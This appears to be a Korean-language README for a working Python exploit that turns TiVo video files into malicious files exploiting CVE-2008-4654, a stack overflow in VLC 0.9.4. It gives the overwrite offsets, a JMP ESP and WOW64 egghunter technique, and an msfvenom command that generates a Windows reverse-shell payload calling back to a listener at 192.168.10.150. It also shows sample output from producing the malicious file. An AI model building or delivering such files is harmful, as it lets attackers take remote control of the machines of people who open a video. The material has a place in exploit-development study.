CVE-2008-4654

VideoLan의 VLC Media Player 0.9.4가 TiVo 파일을 처리할 때 발생하는 스택 기반 버퍼 오버플로 취약점 CVE-2008-4654에 대한 완전한 기능을 갖춘 익스플로잇입니다. 64비트 Windows 시스템에서 실행되는 32비트 바이너리를 대상으로 하며, 제한된 스택 공간을 우회하기 위해 WOW64 egghunter를 사용합니다.

사용법

스크립트 업데이트:

• 스크립트의 자리 표시자 buf = b'[...]'를 자신의 셸코드(예: msfvenom에서 생성한 셸코드)로 교체하세요.
• 다른 태그를 원하거나 사용자 정의 egghunter가 있는 경우 선택적으로 EGG_HUNTER_WOW64 셸코드를 조정하세요.

python .\CVE-2008-4654.py --help

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT

Transform a given TiVo file into a weapon with predefined shellcode.

options:
  -h, --help       show this help message and exit
  --input INPUT    Path to the input TiVo file to be weaponized.
  --output OUTPUT  Path where the modified (weaponized) TiVo file will be saved.

작동 방식

• 이 스크립트는 TiVo 파일에서 특정 바이트 패턴(TIVO_PES_FILEID)을 검색합니다.
• 패턴 뒤 20바이트 지점의 4바이트 필드를 b"\x00\x00\x00\xff"로 덮어써서 스택 오버플로로 이어지는 경계를 벗어난 읽기를 유발합니다.
• 그런 다음 TIVO_PES_FILEID 뒤 92바이트 지점의 다른 영역을 사용자 정의 페이로드로 교체합니다.
• 페이로드에는 다음이 포함됩니다:
  • 실행 흐름을 스택으로 이동시키는 JMP ESP 주소.
  • 메모리에서 마커 w00tw00t를 검색하는 WOW64 전용 egghunter.
  • 제한된 스택 공간을 넘어 마커 뒤에 배치된 대용량 사용자 정의 셸코드 페이로드(2단계).
• VLC가 수정된 TiVo 파일을 처리하면 결국 오버플로가 트리거되어 egghunter가 실행됩니다. egghunter는 전체 셸코드를 찾아 실행함으로써 스택 크기 제한을 우회합니다.

예제

페이로드 생성

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'

TiVo 파일 생성

• 이전에 생성한 셸코드로 자리 표시자 buf = b'[...]'를 교체하세요.
• https://samples.mplayerhq.hu/TiVo/에서 샘플 TiVo 파일을 다운로드하세요.

PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty

참고 사항

• WOW64 egghunter 때문에 이 익스플로잇은 x64 Windows에서만 작동합니다. 순수 x86 방식은 32비트 시스템에 적합한 표준 egghunter가 필요합니다.
• 이 특정 벡터에는 \x00 외에 주요 bad character가 없어 페이로드 생성이 간단합니다.
• egghunting과 WOW64의 복잡한 세부 사항을 더 자세히 알아보려면 Corelan의 WOW64 Egghunter 기사와 Matt (Skape) Miller의 논문을 확인하세요.

리소스

• https://nostarch.com/bughunter
• https://nvd.nist.gov/vuln/detail/CVE-2008-4654
• https://hexastrike.com/resources/blog/exploit-development/vlc-stack-based-buffer-overflow-exploiting-cve-2008-4654-with-a-wow64-egghunter/
• https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/
• https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
• https://samples.mplayerhq.hu/TiVo/